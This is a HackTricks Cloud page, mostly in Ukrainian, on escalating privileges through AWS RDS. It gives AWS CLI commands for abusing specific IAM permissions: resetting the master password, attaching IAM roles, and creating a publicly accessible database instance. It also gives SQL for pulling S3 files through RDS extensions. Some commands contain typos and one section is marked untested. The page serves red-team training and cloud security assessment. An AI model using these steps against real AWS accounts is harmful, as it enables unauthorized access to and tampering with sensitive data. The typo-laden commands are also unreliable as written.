AWS - RDS Privesc
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
RDS - Реляційний сервіс баз даних
Для отримання додаткової інформації про RDS дивіться:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
З цим дозволом зловмисник може modify the password of the master user, та змінити login всередині бази даних:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
warning
Вам потрібно мати можливість зв'язатися з базою даних (зазвичай вони доступні лише зсередини мереж).
Потенційний вплив: Знайти конфіденційну інформацію в базах даних.
rds-db:connect
Згідно з docs користувач з цим дозволом може підключитися до екземпляра бази даних.
Зловживання дозволами IAM ролі RDS
Postgresql (Aurora)
tip
Якщо при виконанні SELECT datname FROM pg_database; ви знайдете базу даних з назвою rdsadmin, це означає, що ви перебуваєте всередині AWS postgresql database.
Спочатку ви можете перевірити, чи використовувалась ця база даних для доступу до інших сервісів AWS. Це можна зробити, переглянувши встановлені розширення:
SELECT * FROM pg_extension;
Якщо ви знайдете щось на кшталт aws_s3 ви можете припустити, що ця база даних має якийсь доступ до S3 (є й інші розширення, такі як aws_ml та aws_lambda).
Крім того, якщо у вас є дозволи запускати aws rds describe-db-clusters ви зможете там побачити, чи кластер має приєднану IAM Role в полі AssociatedRoles. Якщо так, ви можете припустити, що база даних була підготовлена для доступу до інших сервісів AWS. На основі імені ролі (або якщо ви зможете отримати дозволи ролі) ви могли б здогадатися який додатковий доступ має база даних.
Тепер, щоб прочитати файл всередині bucket'а вам потрібно знати повний шлях. Ви можете прочитати його за допомогою:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Якщо б у вас були raw AWS credentials, ви також могли б використати їх для доступу до даних S3 за допомогою:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
note
Postgresql не потрібно змінювати будь-яку змінну parameter group, щоб мати доступ до S3.
Mysql (Aurora)
tip
Всередині mysql, якщо ви виконаєте запит SELECT User, Host FROM mysql.user; і там є користувач rdsadmin, можна припустити, що ви знаходитесь в AWS RDS mysql db.
Всередині mysql виконайте show variables; і якщо такі змінні, як aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role, мають значення, можна вважати, що база даних підготовлена для доступу до даних S3.
Також, якщо у вас є права виконувати aws rds describe-db-clusters, ви можете перевірити, чи має кластер якийсь associated role, що зазвичай означає доступ до сервісів AWS).
Тепер, щоб прочитати файл всередині bucket, вам потрібно знати повний шлях. Ви можете прочитати його за допомогою:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster, iam:PassRole
Зловмисник з дозволами rds:AddRoleToDBCluster та iam:PassRole може додати зазначену роль до існуючого RDS instance. Це може дозволити зловмиснику отримати доступ до конфіденційних даних або змінити дані всередині RDS instance.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Потенційний вплив: Доступ до конфіденційних даних або несанкціоновані зміни даних в екземплярі RDS.
Зверніть увагу, що деякі DBs вимагають додаткових конфігурацій, такі як Mysql, для яких також потрібно вказати role ARN в aprameter groups.
rds:CreateDBInstance
Лише з цим дозволом нападник може створити новий екземпляр всередині кластера, який вже існує та має прикріплений IAM role. Він не зможе змінити пароль головного користувача, але може зуміти відкрити новий екземпляр бази даних в інтернет:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance, iam:PassRole
note
TODO: Потрібно протестувати
Зловмисник із дозволами rds:CreateDBInstance та iam:PassRole може створити новий RDS instance з прикріпленою вказаною роллю. Зловмисник тоді потенційно може отримати доступ до конфіденційних даних або змінити дані всередині інстансу.
warning
Деякі вимоги до role/instance-profile для прикріплення (з here):
- Профіль має існувати у вашому акаунті.
- Профіль повинен мати IAM роль, яку Amazon EC2 має дозволи assume.
- Ім'я instance profile та пов'язане ім'я IAM ролі повинні починатися з префіксу
AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Potential Impact: Доступ до конфіденційних даних або несанкціоновані зміни даних в RDS інстансі.
rds:AddRoleToDBInstance, iam:PassRole
Зловмисник з дозволами rds:AddRoleToDBInstance та iam:PassRole може додати вказану роль до існуючого RDS інстансу. Це може дозволити зловмисникові отримати доступ до конфіденційних даних або змінювати дані всередині інстансу.
warning
DB instance має бути поза кластером, щоб це спрацювало
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Potential Impact: Доступ до чутливих даних або несанкціоновані зміни даних в екземплярі RDS.
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud